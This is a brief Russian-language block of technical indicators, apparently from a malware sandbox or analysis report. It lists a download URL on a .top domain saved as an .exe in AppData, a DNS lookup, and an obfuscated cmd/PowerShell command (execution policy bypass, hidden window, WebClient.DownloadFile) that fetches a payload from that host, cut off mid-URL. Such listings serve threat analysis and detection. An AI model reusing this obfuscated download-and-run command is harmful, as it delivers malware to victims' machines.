Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "p^o^we^RShEL^l.E^x^e -ExecUTIonP^oL^IC^Y^ B^YpASS -nOPRofI^lE^ -^wInd^O^WsTy^le ^H^ID^dEN ^(n^e^W-o^B^J^Ec^t^ ^s^Yst^Em^.nET.^wEBcl^I^eNT).D^OW^NLOaDFilE(^'http://www.zoe...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /c "p^o^we^RShEL^l.E^x^e -ExecUTIonP^oL^IC^Y^ B^YpASS -nOPRofI^lE^ -^wInd^O^WsTy^le ^H^ID^dEN ^(n^e^W-o^B^J^Ec^t^ ^s^Yst^Em^.nET.^wEBcl^I^eNT).D^OW^NLOaDFilE(^'http://www.zoe...' (со скрытым окном)